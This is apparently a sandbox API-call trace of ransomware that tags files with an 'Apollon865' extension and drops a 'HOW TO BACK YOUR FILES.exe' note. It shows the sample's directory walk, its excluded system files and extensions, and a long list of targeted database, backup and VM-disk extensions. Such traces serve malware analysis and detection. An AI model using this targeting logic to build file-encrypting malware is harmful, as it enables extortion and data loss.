	[0051.728] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcf0 | out: ListHead=0x5b76b0, ListEntry=0x59fcf0) returned 0x59fcd0
	[0051.728] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x86a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="flyout.html", cAlternateFileName="")) returned 1
	[0051.728] lstrcmpiW (lpString1="flyout.html", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.728] lstrcmpiW (lpString1="flyout.html", lpString2="Apollon865.txt.exe") returned 1
	[0051.728] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="flyout.html" | out: lpString1="flyout.html") returned="flyout.html"
	[0051.728] lstrlenW (lpString="flyout.html") returned 11
	[0051.728] lstrlenW (lpString="Apollon865") returned 10
	[0051.729] lstrcmpiW (lpString1="lyout.html", lpString2="Apollon865") returned 1
	[0051.729] lstrlenW (lpString=".dll") returned 4
	[0051.729] lstrcmpiW (lpString1="flyout.html", lpString2=".dll") returned 1
	[0051.729] lstrlenW (lpString=".lnk") returned 4
	[0051.729] lstrcmpiW (lpString1="flyout.html", lpString2=".lnk") returned 1
	[0051.729] lstrlenW (lpString=".ini") returned 4
	[0051.729] lstrcmpiW (lpString1="flyout.html", lpString2=".ini") returned 1
	[0051.729] lstrlenW (lpString=".sys") returned 4
	[0051.729] lstrcmpiW (lpString1="flyout.html", lpString2=".sys") returned 1
	[0051.729] lstrlenW (lpString="flyout.html") returned 11
	[0051.729] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="gadget.xml" | out: lpString1="gadget.xml") returned="gadget.xml"
	[0051.729] lstrlenW (lpString="gadget.xml") returned 10
	[0051.729] lstrlenW (lpString="Apollon865") returned 10
	[0051.729] lstrlenW (lpString=".dll") returned 4
	[0051.729] lstrcmpiW (lpString1="gadget.xml", lpString2=".dll") returned 1
	[0051.729] lstrlenW (lpString=".lnk") returned 4
	[0051.729] lstrcmpiW (lpString1="gadget.xml", lpString2=".lnk") returned 1
	[0051.729] lstrlenW (lpString=".ini") returned 4
	[0051.729] lstrcmpiW (lpString1="gadget.xml", lpString2=".ini") returned 1
	[0051.729] lstrlenW (lpString=".sys") returned 4
	[0051.729] lstrcmpiW (lpString1="gadget.xml", lpString2=".sys") returned 1
	[0051.729] lstrlenW (lpString="gadget.xml") returned 10
	[0051.729] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\gadget.xml.Apollon865") returned 90
	[0051.729] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\gadget.xml"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\gadget.xml.Apollon865" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\gadget.xml.apollon865"), dwFlags=0x1) returned 0
	[0051.731] GetLastError () returned 0x5
	[0051.731] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\gadget.xml MoveFileEx error 5\r\n") returned 108
	[0051.731] lstrlenA (lpString="[ERROR] C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\gadget.xml MoveFileEx error 5\r\n") returned 108
	[0051.731] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0051.732] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1d4e
	[0051.732] WriteFile (in: hFile=0x14c, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x6c, lpOverlapped=0x0) returned 1
	[0051.732] CloseHandle (hObject=0x14c) returned 1
	[0051.732] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0051.732] CloseHandle (hObject=0x0) returned 0
	[0051.732] CloseHandle (hObject=0x0) returned 0
	[0051.732] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36e6e210, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x36e6e210, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0051.732] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0051.732] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22ad0a6d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0051.732] lstrcmpiW (lpString1="js", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.732] lstrcmpiW (lpString1="js", lpString2="Apollon865.txt.exe") returned 1
	[0051.732] lstrcmpiW (lpString1="js", lpString2=".") returned 1
	[0051.732] lstrcmpiW (lpString1="js", lpString2="..") returned 1
	[0051.732] lstrcmpiW (lpString1="js", lpString2="windows") returned -1
	[0051.732] lstrcmpiW (lpString1="js", lpString2="bootmgr") returned 1
	[0051.733] lstrcmpiW (lpString1="js", lpString2="temp") returned -1
	[0051.733] lstrcmpiW (lpString1="js", lpString2="pagefile.sys") returned -1
	[0051.733] lstrcmpiW (lpString1="js", lpString2="boot") returned 1
	[0051.733] lstrcmpiW (lpString1="js", lpString2="ids.txt") returned 1
	[0051.733] lstrcmpiW (lpString1="js", lpString2="ntuser.dat") returned -1
	[0051.733] lstrcmpiW (lpString1="js", lpString2="perflogs") returned -1
	[0051.733] lstrcmpiW (lpString1="js", lpString2="MSBuild") returned -1
	[0051.733] lstrlenW (lpString="js") returned 2
	[0051.733] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\gadget.xml") returned 79
	[0051.733] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="js" | out: lpString1="js") returned="js"
	[0051.733] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd08
	[0051.733] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x90) returned 0x599560
	[0051.733] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd10 | out: ListHead=0x5b76b0, ListEntry=0x59fd10) returned 0x59fcf0
	[0051.733] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x271c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RSSFeeds.html", cAlternateFileName="")) returned 1
	[0051.733] lstrcmpiW (lpString1="RSSFeeds.html", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.733] lstrcmpiW (lpString1="RSSFeeds.html", lpString2="Apollon865.txt.exe") returned 1
	[0051.733] lstrcmpiW (lpString1="RSSFeeds.html", lpString2=".") returned 1
	[0051.733] lstrcmpiW (lpString1="RSSFeeds.html", lpString2="..") returned 1
	[0051.733] lstrcmpiW (lpString1="RSSFeeds.html", lpString2="windows") returned -1
	[0051.733] lstrcmpiW (lpString1="RSSFeeds.html", lpString2="bootmgr") returned 1
	[0051.733] lstrcmpiW (lpString1="RSSFeeds.html", lpString2="temp") returned -1
	[0051.733] lstrcmpiW (lpString1="RSSFeeds.html", lpString2="pagefile.sys") returned 1
	[0051.733] lstrcmpiW (lpString1="RSSFeeds.html", lpString2="boot") returned 1
	[0051.733] lstrcmpiW (lpString1="RSSFeeds.html", lpString2="ids.txt") returned 1
	[0051.733] lstrcmpiW (lpString1="RSSFeeds.html", lpString2="ntuser.dat") returned 1
	[0051.733] lstrcmpiW (lpString1="RSSFeeds.html", lpString2="perflogs") returned 1
	[0051.733] lstrcmpiW (lpString1="RSSFeeds.html", lpString2="MSBuild") returned 1
	[0051.733] lstrlenW (lpString="RSSFeeds.html") returned 13
	[0051.733] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js") returned 71
	[0051.733] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="RSSFeeds.html" | out: lpString1="RSSFeeds.html") returned="RSSFeeds.html"
	[0051.733] lstrlenW (lpString="RSSFeeds.html") returned 13
	[0051.733] lstrlenW (lpString="Apollon865") returned 10
	[0051.733] lstrcmpiW (lpString1="Feeds.html", lpString2="Apollon865") returned 1
	[0051.734] lstrlenW (lpString=".dll") returned 4
	[0051.734] lstrcmpiW (lpString1="RSSFeeds.html", lpString2=".dll") returned 1
	[0051.734] lstrlenW (lpString=".lnk") returned 4
	[0051.734] lstrcmpiW (lpString1="RSSFeeds.html", lpString2=".lnk") returned 1
	[0051.734] lstrlenW (lpString=".ini") returned 4
	[0051.734] lstrcmpiW (lpString1="RSSFeeds.html", lpString2=".ini") returned 1
	[0051.734] lstrlenW (lpString=".sys") returned 4
	[0051.734] lstrcmpiW (lpString1="RSSFeeds.html", lpString2=".sys") returned 1
	[0051.734] lstrlenW (lpString="RSSFeeds.html") returned 13
	[0051.734] lstrlenW (lpString="bak") returned 3
	[0051.734] lstrcmpiW (lpString1="tml", lpString2="bak") returned 1
	[0051.734] lstrlenW (lpString="ba_") returned 3
	[0051.734] lstrcmpiW (lpString1="tml", lpString2="ba_") returned 1
	[0051.734] lstrlenW (lpString="dbb") returned 3
	[0051.734] lstrcmpiW (lpString1="tml", lpString2="dbb") returned 1
	[0051.734] lstrlenW (lpString="vmdk") returned 4
	[0051.734] lstrcmpiW (lpString1="html", lpString2="vmdk") returned -1
	[0051.734] lstrlenW (lpString="rar") returned 3
	[0051.734] lstrcmpiW (lpString1="tml", lpString2="rar") returned 1
	[0051.734] lstrlenW (lpString="zip") returned 3
	[0051.734] lstrcmpiW (lpString1="tml", lpString2="zip") returned -1
	[0051.734] lstrlenW (lpString="tgz") returned 3
	[0051.734] lstrcmpiW (lpString1="tml", lpString2="tgz") returned 1
	[0051.734] lstrlenW (lpString="vbox") returned 4
	[0051.734] lstrcmpiW (lpString1="html", lpString2="vbox") returned -1
	[0051.734] lstrlenW (lpString="vdi") returned 3
	[0051.734] lstrcmpiW (lpString1="tml", lpString2="vdi") returned -1
	[0051.734] lstrlenW (lpString="vhd") returned 3
	[0051.734] lstrcmpiW (lpString1="tml", lpString2="vhd") returned -1
	[0051.734] lstrlenW (lpString="vhdx") returned 4
	[0051.734] lstrcmpiW (lpString1="html", lpString2="vhdx") returned -1
	[0051.734] lstrlenW (lpString="avhd") returned 4
	[0051.734] lstrcmpiW (lpString1="html", lpString2="avhd") returned 1
	[0051.734] lstrlenW (lpString="db") returned 2
	[0051.735] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0051.735] lstrlenW (lpString="db2") returned 3
	[0051.735] lstrcmpiW (lpString1="tml", lpString2="db2") returned 1
	[0051.735] lstrlenW (lpString="db3") returned 3
	[0051.735] lstrcmpiW (lpString1="tml", lpString2="db3") returned 1
	[0051.735] lstrlenW (lpString="dbf") returned 3
	[0051.735] lstrcmpiW (lpString1="tml", lpString2="dbf") returned 1
	[0051.735] lstrlenW (lpString="mdf") returned 3
	[0051.735] lstrcmpiW (lpString1="tml", lpString2="mdf") returned 1
	[0051.735] lstrlenW (lpString="mdb") returned 3
	[0051.735] lstrcmpiW (lpString1="tml", lpString2="mdb") returned 1
	[0051.735] lstrlenW (lpString="sql") returned 3
	[0051.735] lstrcmpiW (lpString1="tml", lpString2="sql") returned 1
	[0051.735] lstrlenW (lpString="sqlite") returned 6
	[0051.735] lstrcmpiW (lpString1="s.html", lpString2="sqlite") returned -1
	[0051.735] lstrlenW (lpString="sqlite3") returned 7
	[0051.735] lstrcmpiW (lpString1="ds.html", lpString2="sqlite3") returned -1
	[0051.735] lstrlenW (lpString="sqlitedb") returned 8
	[0051.735] lstrcmpiW (lpString1="eds.html", lpString2="sqlitedb") returned -1
	[0051.735] lstrlenW (lpString="xml") returned 3
	[0051.735] lstrcmpiW (lpString1="tml", lpString2="xml") returned -1
	[0051.735] lstrlenW (lpString="$er") returned 3
	[0051.735] lstrcmpiW (lpString1="tml", lpString2="$er") returned 1
	[0051.735] lstrlenW (lpString="4dd") returned 3
	[0051.735] lstrcmpiW (lpString1="tml", lpString2="4dd") returned 1
	[0051.735] lstrlenW (lpString="4dl") returned 3
	[0051.735] lstrcmpiW (lpString1="tml", lpString2="4dl") returned 1
	[0051.735] lstrlenW (lpString="^^^") returned 3
	[0051.735] lstrcmpiW (lpString1="tml", lpString2="^^^") returned 1
	[0051.735] lstrlenW (lpString="abs") returned 3
	[0051.735] lstrcmpiW (lpString1="tml", lpString2="abs") returned 1
	[0051.735] lstrlenW (lpString="abx") returned 3
	[0051.735] lstrcmpiW (lpString1="tml", lpString2="abx") returned 1
	[0051.735] lstrlenW (lpString="accdb") returned 5
	[0051.736] lstrcmpiW (lpString1=".html", lpString2="accdb") returned -1
	[0051.736] lstrlenW (lpString="accdc") returned 5
	[0051.736] lstrcmpiW (lpString1=".html", lpString2="accdc") returned -1
	[0051.736] lstrlenW (lpString="accde") returned 5
	[0051.736] lstrcmpiW (lpString1=".html", lpString2="accde") returned -1
	[0051.736] lstrlenW (lpString="accdr") returned 5
	[0051.736] lstrcmpiW (lpString1=".html", lpString2="accdr") returned -1
	[0051.736] lstrlenW (lpString="accdt") returned 5
	[0051.736] lstrcmpiW (lpString1=".html", lpString2="accdt") returned -1
	[0051.736] lstrlenW (lpString="accdw") returned 5
	[0051.736] lstrcmpiW (lpString1=".html", lpString2="accdw") returned -1
	[0051.736] lstrlenW (lpString="accft") returned 5
	[0051.736] lstrcmpiW (lpString1=".html", lpString2="accft") returned -1
	[0051.736] lstrlenW (lpString="adb") returned 3
	[0051.736] lstrcmpiW (lpString1="tml", lpString2="adb") returned 1
	[0051.736] lstrlenW (lpString="adb") returned 3
	[0051.736] lstrcmpiW (lpString1="tml", lpString2="adb") returned 1
	[0051.736] lstrlenW (lpString="ade") returned 3
	[0051.736] lstrcmpiW (lpString1="tml", lpString2="ade") returned 1
	[0051.736] lstrlenW (lpString="adf") returned 3
	[0051.736] lstrcmpiW (lpString1="tml", lpString2="adf") returned 1
	[0051.736] lstrlenW (lpString="adn") returned 3
	[0051.736] lstrcmpiW (lpString1="tml", lpString2="adn") returned 1
	[0051.736] lstrlenW (lpString="adp") returned 3
	[0051.736] lstrcmpiW (lpString1="tml", lpString2="adp") returned 1
	[0051.736] lstrlenW (lpString="alf") returned 3
	[0051.736] lstrcmpiW (lpString1="tml", lpString2="alf") returned 1
	[0051.736] lstrlenW (lpString="ask") returned 3
	[0051.736] lstrcmpiW (lpString1="tml", lpString2="ask") returned 1
	[0051.736] lstrlenW (lpString="btr") returned 3
	[0051.736] lstrcmpiW (lpString1="tml", lpString2="btr") returned 1
	[0051.736] lstrlenW (lpString="cat") returned 3
	[0051.736] lstrcmpiW (lpString1="tml", lpString2="cat") returned 1
	[0051.736] lstrlenW (lpString="cdb") returned 3
	[0051.737] lstrcmpiW (lpString1="tml", lpString2="cdb") returned 1
	[0051.737] lstrlenW (lpString="ckp") returned 3
	[0051.737] lstrcmpiW (lpString1="tml", lpString2="ckp") returned 1
	[0051.737] lstrlenW (lpString="cma") returned 3
	[0051.737] lstrcmpiW (lpString1="tml", lpString2="cma") returned 1
	[0051.737] lstrlenW (lpString="cpd") returned 3
	[0051.737] lstrcmpiW (lpString1="tml", lpString2="cpd") returned 1
	[0051.737] lstrlenW (lpString="dacpac") returned 6
	[0051.737] lstrcmpiW (lpString1="s.html", lpString2="dacpac") returned 1
	[0051.737] lstrlenW (lpString="dad") returned 3
	[0051.737] lstrcmpiW (lpString1="tml", lpString2="dad") returned 1
	[0051.737] lstrlenW (lpString="dadiagrams") returned 10
	[0051.737] lstrcmpiW (lpString1="Feeds.html", lpString2="dadiagrams") returned 1
	[0051.737] lstrlenW (lpString="daschema") returned 8
	[0051.737] lstrcmpiW (lpString1="eds.html", lpString2="daschema") returned 1
	[0051.737] lstrlenW (lpString="db-journal") returned 10
	[0051.737] lstrcmpiW (lpString1="Feeds.html", lpString2="db-journal") returned 1
	[0051.737] lstrlenW (lpString="db-shm") returned 6
	[0051.737] lstrcmpiW (lpString1="s.html", lpString2="db-shm") returned 1
	[0051.737] lstrlenW (lpString="db-wal") returned 6
	[0051.737] lstrcmpiW (lpString1="s.html", lpString2="db-wal") returned 1
	[0051.737] lstrlenW (lpString="dbc") returned 3
	[0051.737] lstrcmpiW (lpString1="tml", lpString2="dbc") returned 1
	[0051.737] lstrlenW (lpString="dbs") returned 3
	[0051.737] lstrcmpiW (lpString1="tml", lpString2="dbs") returned 1
	[0051.737] lstrlenW (lpString="dbt") returned 3
	[0051.737] lstrcmpiW (lpString1="tml", lpString2="dbt") returned 1
	[0051.737] lstrlenW (lpString="dbv") returned 3
	[0051.737] lstrcmpiW (lpString1="tml", lpString2="dbv") returned 1
	[0051.737] lstrlenW (lpString="dbx") returned 3
	[0051.737] lstrcmpiW (lpString1="tml", lpString2="dbx") returned 1
	[0051.737] lstrlenW (lpString="dcb") returned 3
	[0051.737] lstrcmpiW (lpString1="tml", lpString2="dcb") returned 1
	[0051.738] lstrlenW (lpString="dct") returned 3
	[0051.738] lstrcmpiW (lpString1="tml", lpString2="dct") returned 1
	[0051.738] lstrlenW (lpString="dcx") returned 3
	[0051.738] lstrcmpiW (lpString1="tml", lpString2="dcx") returned 1
	[0051.738] lstrlenW (lpString="ddl") returned 3
	[0051.738] lstrcmpiW (lpString1="tml", lpString2="ddl") returned 1
	[0051.738] lstrlenW (lpString="dlis") returned 4
	[0051.738] lstrcmpiW (lpString1="html", lpString2="dlis") returned 1
	[0051.738] lstrlenW (lpString="dp1") returned 3
	[0051.738] lstrcmpiW (lpString1="tml", lpString2="dp1") returned 1
	[0051.738] lstrlenW (lpString="dqy") returned 3
	[0051.738] lstrcmpiW (lpString1="tml", lpString2="dqy") returned 1
	[0051.738] lstrlenW (lpString="dsk") returned 3
	[0051.738] lstrcmpiW (lpString1="tml", lpString2="dsk") returned 1
	[0051.738] lstrlenW (lpString="dsn") returned 3
	[0051.738] lstrcmpiW (lpString1="tml", lpString2="dsn") returned 1
	[0051.738] lstrlenW (lpString="dtsx") returned 4
	[0051.738] lstrcmpiW (lpString1="html", lpString2="dtsx") returned 1
	[0051.738] lstrlenW (lpString="dxl") returned 3
	[0051.738] lstrcmpiW (lpString1="tml", lpString2="dxl") returned 1
	[0051.738] lstrlenW (lpString="eco") returned 3
	[0051.738] lstrcmpiW (lpString1="tml", lpString2="eco") returned 1
	[0051.738] lstrlenW (lpString="ecx") returned 3
	[0051.738] lstrcmpiW (lpString1="tml", lpString2="ecx") returned 1
	[0051.738] lstrlenW (lpString="edb") returned 3
	[0051.738] lstrcmpiW (lpString1="tml", lpString2="edb") returned 1
	[0051.738] lstrlenW (lpString="epim") returned 4
	[0051.738] lstrcmpiW (lpString1="html", lpString2="epim") returned 1
	[0051.738] lstrlenW (lpString="fcd") returned 3
	[0051.738] lstrcmpiW (lpString1="tml", lpString2="fcd") returned 1
	[0051.738] lstrlenW (lpString="fdb") returned 3
	[0051.738] lstrcmpiW (lpString1="tml", lpString2="fdb") returned 1
	[0051.738] lstrlenW (lpString="fic") returned 3
	[0051.738] lstrcmpiW (lpString1="tml", lpString2="fic") returned 1
	[0051.739] lstrlenW (lpString="flexolibrary") returned 12
	[0051.739] lstrcmpiW (lpString1="SSFeeds.html", lpString2="flexolibrary") returned 1
	[0051.739] lstrlenW (lpString="fm5") returned 3
	[0051.739] lstrcmpiW (lpString1="tml", lpString2="fm5") returned 1
	[0051.739] lstrlenW (lpString="fmp") returned 3
	[0051.739] lstrcmpiW (lpString1="tml", lpString2="fmp") returned 1
	[0051.739] lstrlenW (lpString="fmp12") returned 5
	[0051.739] lstrcmpiW (lpString1=".html", lpString2="fmp12") returned -1
	[0051.739] lstrlenW (lpString="fmpsl") returned 5
	[0051.739] lstrcmpiW (lpString1=".html", lpString2="fmpsl") returned -1
	[0051.739] lstrlenW (lpString="fol") returned 3
	[0051.739] lstrcmpiW (lpString1="tml", lpString2="fol") returned 1
	[0051.739] lstrlenW (lpString="fp3") returned 3
	[0051.739] lstrcmpiW (lpString1="tml", lpString2="fp3") returned 1
	[0051.739] lstrlenW (lpString="fp4") returned 3
	[0051.739] lstrcmpiW (lpString1="tml", lpString2="fp4") returned 1
	[0051.739] lstrlenW (lpString="fp5") returned 3
	[0051.739] lstrcmpiW (lpString1="tml", lpString2="fp5") returned 1
	[0051.739] lstrlenW (lpString="fp7") returned 3
	[0051.739] lstrcmpiW (lpString1="tml", lpString2="fp7") returned 1
	[0051.739] lstrlenW (lpString="fpt") returned 3
	[0051.739] lstrcmpiW (lpString1="tml", lpString2="fpt") returned 1
	[0051.739] lstrlenW (lpString="frm") returned 3
	[0051.739] lstrcmpiW (lpString1="tml", lpString2="frm") returned 1
	[0051.739] lstrlenW (lpString="gdb") returned 3
	[0051.739] lstrcmpiW (lpString1="tml", lpString2="gdb") returned 1
	[0051.739] lstrlenW (lpString="gdb") returned 3
	[0051.739] lstrcmpiW (lpString1="tml", lpString2="gdb") returned 1
	[0051.739] lstrlenW (lpString="grdb") returned 4
	[0051.739] lstrcmpiW (lpString1="html", lpString2="grdb") returned 1
	[0051.739] lstrlenW (lpString="gwi") returned 3
	[0051.739] lstrcmpiW (lpString1="tml", lpString2="gwi") returned 1
	[0051.739] lstrlenW (lpString="hdb") returned 3
	[0051.740] lstrcmpiW (lpString1="tml", lpString2="hdb") returned 1
	[0051.740] lstrlenW (lpString="his") returned 3
	[0051.740] lstrcmpiW (lpString1="tml", lpString2="his") returned 1
	[0051.740] lstrlenW (lpString="ib") returned 2
	[0051.740] lstrcmpiW (lpString1="ml", lpString2="ib") returned 1
	[0051.740] lstrlenW (lpString="idb") returned 3
	[0051.740] lstrcmpiW (lpString1="tml", lpString2="idb") returned 1
	[0051.740] lstrlenW (lpString="ihx") returned 3
	[0051.740] lstrcmpiW (lpString1="tml", lpString2="ihx") returned 1
	[0051.740] lstrlenW (lpString="itdb") returned 4
	[0051.740] lstrcmpiW (lpString1="html", lpString2="itdb") returned -1
	[0051.740] lstrlenW (lpString="itw") returned 3
	[0051.740] lstrcmpiW (lpString1="tml", lpString2="itw") returned 1
	[0051.740] lstrlenW (lpString="jet") returned 3
	[0051.740] lstrcmpiW (lpString1="tml", lpString2="jet") returned 1
	[0051.743] lstrlenW (lpString="jtx") returned 3
	[0051.743] lstrcmpiW (lpString1="tml", lpString2="jtx") returned 1
	[0051.743] lstrlenW (lpString="kdb") returned 3
	[0051.743] lstrcmpiW (lpString1="tml", lpString2="kdb") returned 1
	[0051.743] lstrlenW (lpString="kexi") returned 4
	[0051.743] lstrcmpiW (lpString1="html", lpString2="kexi") returned -1
	[0051.743] lstrlenW (lpString="kexic") returned 5
	[0051.743] lstrcmpiW (lpString1=".html", lpString2="kexic") returned -1
	[0051.743] lstrlenW (lpString="kexis") returned 5
	[0051.743] lstrcmpiW (lpString1=".html", lpString2="kexis") returned -1
	[0051.743] lstrlenW (lpString="lgc") returned 3
	[0051.743] lstrcmpiW (lpString1="tml", lpString2="lgc") returned 1
	[0051.743] lstrlenW (lpString="lwx") returned 3
	[0051.744] lstrcmpiW (lpString1="tml", lpString2="lwx") returned 1
	[0051.744] lstrlenW (lpString="maf") returned 3
	[0051.744] lstrcmpiW (lpString1="tml", lpString2="maf") returned 1
	[0051.744] lstrlenW (lpString="maq") returned 3
	[0051.744] lstrcmpiW (lpString1="tml", lpString2="maq") returned 1
	[0051.744] lstrlenW (lpString="mar") returned 3
	[0051.744] lstrcmpiW (lpString1="tml", lpString2="mar") returned 1
	[0051.744] lstrlenW (lpString="marshal") returned 7
	[0051.744] lstrcmpiW (lpString1="ds.html", lpString2="marshal") returned -1
	[0051.744] lstrlenW (lpString="mas") returned 3
	[0051.744] lstrcmpiW (lpString1="tml", lpString2="mas") returned 1
	[0051.744] lstrlenW (lpString="mav") returned 3
	[0051.744] lstrcmpiW (lpString1="tml", lpString2="mav") returned 1
	[0051.744] lstrlenW (lpString="maw") returned 3
	[0051.744] lstrcmpiW (lpString1="tml", lpString2="maw") returned 1
	[0051.744] lstrlenW (lpString="mdbhtml") returned 7
	[0051.744] lstrcmpiW (lpString1="ds.html", lpString2="mdbhtml") returned -1
	[0051.744] lstrlenW (lpString="mdn") returned 3
	[0051.744] lstrcmpiW (lpString1="tml", lpString2="mdn") returned 1
	[0051.744] lstrlenW (lpString="mdt") returned 3
	[0051.744] lstrcmpiW (lpString1="tml", lpString2="mdt") returned 1
	[0051.744] lstrlenW (lpString="mfd") returned 3
	[0051.744] lstrcmpiW (lpString1="tml", lpString2="mfd") returned 1
	[0051.744] lstrlenW (lpString="mpd") returned 3
	[0051.744] lstrcmpiW (lpString1="tml", lpString2="mpd") returned 1
	[0051.744] lstrlenW (lpString="mrg") returned 3
	[0051.744] lstrcmpiW (lpString1="tml", lpString2="mrg") returned 1
	[0051.744] lstrlenW (lpString="mud") returned 3
	[0051.744] lstrcmpiW (lpString1="tml", lpString2="mud") returned 1
	[0051.746] lstrlenW (lpString="mwb") returned 3
	[0051.746] lstrcmpiW (lpString1="tml", lpString2="mwb") returned 1
	[0051.746] lstrlenW (lpString="myd") returned 3
	[0051.746] lstrcmpiW (lpString1="tml", lpString2="myd") returned 1
	[0051.746] lstrlenW (lpString="ndf") returned 3
	[0051.746] lstrcmpiW (lpString1="tml", lpString2="ndf") returned 1
	[0051.746] lstrlenW (lpString="nnt") returned 3
	[0051.746] lstrcmpiW (lpString1="tml", lpString2="nnt") returned 1
	[0051.746] lstrlenW (lpString="nrmlib") returned 6
	[0051.746] lstrcmpiW (lpString1="s.html", lpString2="nrmlib") returned 1
	[0051.746] lstrlenW (lpString="ns2") returned 3
	[0051.746] lstrcmpiW (lpString1="tml", lpString2="ns2") returned 1
	[0051.746] lstrlenW (lpString="ns3") returned 3
	[0051.747] lstrcmpiW (lpString1="tml", lpString2="ns3") returned 1
	[0051.747] lstrlenW (lpString="ns4") returned 3
	[0051.747] lstrcmpiW (lpString1="tml", lpString2="ns4") returned 1
	[0051.747] lstrlenW (lpString="nsf") returned 3
	[0051.747] lstrcmpiW (lpString1="tml", lpString2="nsf") returned 1
	[0051.747] lstrlenW (lpString="nv") returned 2
	[0051.747] lstrcmpiW (lpString1="ml", lpString2="nv") returned -1
	[0051.747] lstrlenW (lpString="nv2") returned 3
	[0051.747] lstrcmpiW (lpString1="tml", lpString2="nv2") returned 1
	[0051.747] lstrlenW (lpString="nwdb") returned 4
	[0051.747] lstrcmpiW (lpString1="html", lpString2="nwdb") returned -1
	[0051.747] lstrlenW (lpString="nyf") returned 3
	[0051.747] lstrcmpiW (lpString1="tml", lpString2="nyf") returned 1
	[0051.747] lstrlenW (lpString="odb") returned 3
	[0051.747] lstrcmpiW (lpString1="tml", lpString2="odb") returned 1
	[0051.747] lstrlenW (lpString="odb") returned 3
	[0051.747] lstrcmpiW (lpString1="tml", lpString2="odb") returned 1
	[0051.747] lstrlenW (lpString="oqy") returned 3
	[0051.747] lstrcmpiW (lpString1="tml", lpString2="oqy") returned 1
	[0051.747] lstrlenW (lpString="ora") returned 3
